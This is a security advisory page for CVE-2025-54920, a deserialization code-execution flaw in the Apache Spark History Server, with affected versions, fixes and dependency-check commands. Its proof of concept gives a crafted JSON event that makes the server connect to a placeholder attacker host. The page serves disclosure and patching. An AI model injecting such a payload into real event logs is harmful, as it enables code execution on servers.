NewApp Monitoring is liveSign up free
AgentbeamBeta
Open-source package vulnerability · Maven

CVE-2025-54920: Apache Spark: Spark History Server Code Execution Vulnerability

highCVSS 3.1 8.8GHSA-jwp6-cvj8-fw65

This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue. Summary Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data.

Published Mar 16, 2026 · Updated Mar 17, 2026

Affected packages

org.apache.spark:spark-core_2.13

Ecosystem
Maven
Affected
>= 4.0.0, < 4.0.1
Fixed in
4.0.1
Check
mvn dependency:tree -Dincludes=org.apache.spark:spark-core_2.13

org.apache.spark:spark-core_2.13

Ecosystem
Maven
Affected
< 3.5.7
Fixed in
3.5.7
Check
mvn dependency:tree -Dincludes=org.apache.spark:spark-core_2.13

org.apache.spark:spark-core_2.12

Ecosystem
Maven
Affected
< 3.5.7
Fixed in
3.5.7
Check
mvn dependency:tree -Dincludes=org.apache.spark:spark-core_2.12

org.apache.spark:spark-core_2.11

Ecosystem
Maven
Affected
<= 2.4.8
Fixed in
No patched version yet
Check
mvn dependency:tree -Dincludes=org.apache.spark:spark-core_2.11

org.apache.spark:spark-core_2.10

Ecosystem
Maven
Affected
<= 2.2.3
Fixed in
No patched version yet
Check
mvn dependency:tree -Dincludes=org.apache.spark:spark-core_2.10

org.apache.spark:spark-core_2.9.3

Ecosystem
Maven
Affected
<= 0.8.1-incubating
Fixed in
No patched version yet
Check
mvn dependency:tree -Dincludes=org.apache.spark:spark-core_2.9.3

Advisory details

From the GitHub Advisory Database (CC BY 4.0).

This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue.

Summary

Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server.

Details

The vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization.

The attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability.

Proof of Concept:

  1. Run Spark with event logging enabled, writing to a writable directory (spark-logs).
  1. Inject the following JSON at the beginning of an event log file:
{

  "Event": "org.apache.hive.jdbc.HiveConnection",
  "uri": "jdbc:hive2://<IP>:<PORT>/",
  "info": {
    "hive.metastore.uris": "thrift://<IP>:<PORT>"
  }
}
  1. Start the Spark History Server with logs pointing to the modified directory.
  1. The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection.

Impact

An attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology

More Maven vulnerabilities

All Maven entries